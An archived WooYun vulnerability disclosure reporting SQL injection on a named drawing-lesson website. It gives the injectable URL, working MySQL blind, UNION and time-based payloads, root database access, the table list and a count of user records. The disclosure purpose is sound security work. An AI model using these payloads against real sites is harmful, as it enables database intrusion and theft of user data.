乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-08-27: 积极联系厂商并且等待厂商认领中,细节不对外公开 2013-10-11: 厂商已经主动忽略漏洞,细节向公众公开
我是来弄个马甲的
注射点:
http://www.17draw.com/Lessons/viewclass?id=49
---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=49 AND 7687=7687 Type: UNION query Title: MySQL UNION query (NULL) - 12 columns Payload: id=-9718 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176626271,0x55444e56585748705661,0x7165666171),NULL,NULL,NULL,NULL,NULL,NULL# Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: id=49 AND SLEEP(5)---
web application technology: Apacheback-end DBMS: MySQL 5.0.11
current user: 'root@localhost'
current database: '17draw'
Database: 17draw[19 tables]+----------------------------+| 17draw_address || 17draw_contactus || 17draw_customer || 17draw_favorite || 17draw_friends || 17draw_group || 17draw_msg || 17draw_order || 17draw_order_product || 17draw_product || 17draw_product_image || 17draw_product_to_category || 17draw_review || 17draw_school || 17draw_teachcontent || 17draw_user || 17draw_userorder || 17draw_userpaint || 17draw_uservote |+----------------------------+
Database: 17draw+-------------+---------+| Table | Entries |+-------------+---------+| 17draw_user | 1228 |+-------------+---------+
过滤啊
未能联系到厂商或者厂商积极拒绝